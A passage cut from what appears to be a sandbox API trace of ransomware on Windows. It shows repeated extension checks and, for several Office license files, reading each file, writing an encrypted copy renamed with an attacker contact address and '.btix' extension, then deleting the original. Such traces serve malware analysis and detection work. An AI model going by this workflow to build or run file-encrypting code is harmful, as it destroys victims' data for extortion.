Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0143.005] lstrlenW (lpString=".zip") returned 4 [0143.005] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0143.005] lstrlenW (lpString=".rar") returned 4 [0143.005] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0143.005] lstrlenW (lpString=".bz2") returned 4 [0143.005] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0143.005] lstrlenW (lpString=".7z") returned 3 [0143.005] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0143.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0143.005] lstrlenW (lpString=".dbf") returned 4 [0143.005] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0143.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0143.005] lstrlenW (lpString=".1cd") returned 4 [0143.005] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0143.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0143.005] lstrlenW (lpString=".jpg") returned 4 [0143.005] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0143.005] lstrcmpiW (lpString1=".xrm-ms", lpString2=".btix") returned 1 [0143.006] lstrlenW (lpString="ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 29 [0143.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0143.006] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=19927) returned 1 [0143.006] CloseHandle (hObject=0x550) returned 1 [0143.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0143.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0143.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0143.012] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.012] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0143.012] GetLastError () returned 0x0 [0143.012] ReadFile (in: hFile=0x550, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x4dd7, lpOverlapped=0x0) returned 1 [0143.026] WriteFile (in: hFile=0x564, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x4de0, lpOverlapped=0x0) returned 1 [0143.027] ReadFile (in: hFile=0x550, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0143.028] WriteFile (in: hFile=0x564, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x10e, lpOverlapped=0x0) returned 1 [0143.028] SetEndOfFile (hFile=0x564) returned 1 [0143.028] CloseHandle (hObject=0x564) returned 1 [0143.028] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.028] SetEndOfFile (hFile=0x550) returned 1 [0143.031] CloseHandle (hObject=0x550) returned 1 [0143.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0143.031] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms")) returned 1 [0143.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0143.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0143.032] lstrlenW (lpString=".doc") returned 4 [0143.032] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0143.032] lstrlenW (lpString=".docx") returned 5 [0143.032] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0143.032] lstrlenW (lpString=".pdf") returned 4 [0143.032] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0143.032] lstrlenW (lpString=".xls") returned 4 [0143.032] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0143.032] lstrlenW (lpString=".xlsx") returned 5 [0143.032] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0143.032] lstrlenW (lpString=".ppt") returned 4 [0143.032] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0143.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0143.032] lstrlenW (lpString=".zip") returned 4 [0143.032] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0143.032] lstrlenW (lpString=".rar") returned 4 [0143.032] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0143.032] lstrlenW (lpString=".bz2") returned 4 [0143.032] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0143.032] lstrlenW (lpString=".7z") returned 3 [0143.032] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0143.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0143.033] lstrlenW (lpString=".dbf") returned 4 [0143.033] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0143.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0143.033] lstrlenW (lpString=".1cd") returned 4 [0143.033] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0143.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0143.033] lstrlenW (lpString=".jpg") returned 4 [0143.033] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0143.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0143.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0143.033] lstrlenW (lpString=".doc") returned 4 [0143.033] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0143.033] lstrlenW (lpString=".docx") returned 5 [0143.033] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0143.033] lstrlenW (lpString=".pdf") returned 4 [0143.033] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0143.033] lstrlenW (lpString=".xls") returned 4 [0143.033] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0143.033] lstrlenW (lpString=".xlsx") returned 5 [0143.033] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0143.033] lstrlenW (lpString=".ppt") returned 4 [0143.033] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0143.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0143.033] lstrlenW (lpString=".zip") returned 4 [0143.033] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0143.033] lstrlenW (lpString=".rar") returned 4 [0143.033] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0143.033] lstrlenW (lpString=".bz2") returned 4 [0143.034] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0143.034] lstrlenW (lpString=".7z") returned 3 [0143.034] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0143.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0143.034] lstrlenW (lpString=".dbf") returned 4 [0143.034] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0143.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0143.034] lstrlenW (lpString=".1cd") returned 4 [0143.034] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0143.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0143.034] lstrlenW (lpString=".jpg") returned 4 [0143.034] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0143.034] lstrcmpiW (lpString1=".xrm-ms", lpString2=".btix") returned 1 [0143.034] lstrlenW (lpString="ExcelR_Retail-pl.xrm-ms") returned 23 [0143.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0143.035] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=10627) returned 1 [0143.035] CloseHandle (hObject=0x550) returned 1 [0143.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms")) returned 0x220 [0143.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0143.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0143.035] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.035] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0143.036] GetLastError () returned 0x0 [0143.036] ReadFile (in: hFile=0x550, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x2983, lpOverlapped=0x0) returned 1 [0143.041] WriteFile (in: hFile=0x564, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x2990, lpOverlapped=0x0) returned 1 [0143.042] ReadFile (in: hFile=0x550, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0143.042] WriteFile (in: hFile=0x564, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x102, lpOverlapped=0x0) returned 1 [0143.042] SetEndOfFile (hFile=0x564) returned 1 [0143.042] CloseHandle (hObject=0x564) returned 1 [0143.042] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.042] SetEndOfFile (hFile=0x550) returned 1 [0143.233] CloseHandle (hObject=0x550) returned 1 [0143.233] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0143.397] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms")) returned 1 [0143.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0143.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0143.505] lstrlenW (lpString=".doc") returned 4 [0143.505] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0143.505] lstrlenW (lpString=".docx") returned 5 [0143.505] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0143.505] lstrlenW (lpString=".pdf") returned 4 [0143.505] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0143.505] lstrlenW (lpString=".xls") returned 4 [0143.505] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0143.505] lstrlenW (lpString=".xlsx") returned 5 [0143.505] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0143.505] lstrlenW (lpString=".ppt") returned 4 [0143.505] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0143.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0143.505] lstrlenW (lpString=".zip") returned 4 [0143.505] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0143.505] lstrlenW (lpString=".rar") returned 4 [0143.505] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0143.505] lstrlenW (lpString=".bz2") returned 4 [0143.505] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0143.506] lstrlenW (lpString=".7z") returned 3 [0143.506] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0143.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0143.506] lstrlenW (lpString=".dbf") returned 4 [0143.506] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0143.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0143.506] lstrlenW (lpString=".1cd") returned 4 [0143.506] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0143.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0143.506] lstrlenW (lpString=".jpg") returned 4 [0143.506] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0143.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0143.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0143.506] lstrlenW (lpString=".doc") returned 4 [0143.506] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0143.506] lstrlenW (lpString=".docx") returned 5 [0143.506] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0143.506] lstrlenW (lpString=".pdf") returned 4 [0143.506] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0143.506] lstrlenW (lpString=".xls") returned 4 [0143.506] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0143.506] lstrlenW (lpString=".xlsx") returned 5 [0143.506] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0143.506] lstrlenW (lpString=".ppt") returned 4 [0143.506] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0143.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0143.507] lstrlenW (lpString=".zip") returned 4 [0143.507] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0143.507] lstrlenW (lpString=".rar") returned 4 [0143.507] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0143.507] lstrlenW (lpString=".bz2") returned 4 [0143.507] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0143.507] lstrlenW (lpString=".7z") returned 3 [0143.507] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0143.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0143.507] lstrlenW (lpString=".dbf") returned 4 [0143.507] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0143.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0143.507] lstrlenW (lpString=".1cd") returned 4 [0143.507] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0143.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0143.507] lstrlenW (lpString=".jpg") returned 4 [0143.507] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0143.507] lstrcmpiW (lpString1=".xrm-ms", lpString2=".btix") returned 1 [0143.507] lstrlenW (lpString="ExcelR_Trial-pl.xrm-ms") returned 22 [0143.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0143.508] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=11139) returned 1 [0143.508] CloseHandle (hObject=0x530) returned 1 [0143.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms")) returned 0x220 [0143.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0143.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0143.741] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.741] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0143.771] GetLastError () returned 0x0 [0143.771] ReadFile (in: hFile=0x530, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x2b83, lpOverlapped=0x0) returned 1 [0143.827] WriteFile (in: hFile=0x390, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x2b90, lpOverlapped=0x0) returned 1 [0143.828] ReadFile (in: hFile=0x530, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0143.828] WriteFile (in: hFile=0x390, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x100, lpOverlapped=0x0) returned 1 [0143.829] SetEndOfFile (hFile=0x390) returned 1 [0143.829] CloseHandle (hObject=0x390) returned 1 [0143.829] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.829] SetEndOfFile (hFile=0x530) returned 1 [0143.831] CloseHandle (hObject=0x530) returned 1 [0143.831] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0143.832] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms")) returned 1 [0143.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0143.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0143.832] lstrlenW (lpString=".doc") returned 4 [0143.832] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0143.832] lstrlenW (lpString=".docx") returned 5 [0143.832] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0143.832] lstrlenW (lpString=".pdf") returned 4 [0143.832] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0143.832] lstrlenW (lpString=".xls") returned 4 [0143.832] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0143.832] lstrlenW (lpString=".xlsx") returned 5 [0143.832] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0143.832] lstrlenW (lpString=".ppt") returned 4 [0143.833] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0143.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0143.833] lstrlenW (lpString=".zip") returned 4 [0143.833] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0143.833] lstrlenW (lpString=".rar") returned 4 [0143.833] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0143.833] lstrlenW (lpString=".bz2") returned 4 [0143.833] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0143.833] lstrlenW (lpString=".7z") returned 3 [0143.833] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0143.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0143.833] lstrlenW (lpString=".dbf") returned 4 [0143.833] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0143.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0143.833] lstrlenW (lpString=".1cd") returned 4 [0143.833] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0143.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0143.833] lstrlenW (lpString=".jpg") returned 4 [0143.833] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0143.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0143.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0143.833] lstrlenW (lpString=".doc") returned 4 [0143.833] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0143.833] lstrlenW (lpString=".docx") returned 5 [0143.833] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0143.833] lstrlenW (lpString=".pdf") returned 4 [0143.833] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0143.833] lstrlenW (lpString=".xls") returned 4 [0143.834] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0143.834] lstrlenW (lpString=".xlsx") returned 5 [0143.834] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0143.834] lstrlenW (lpString=".ppt") returned 4 [0143.834] lstrcmpiW (lpString1=".ppt", 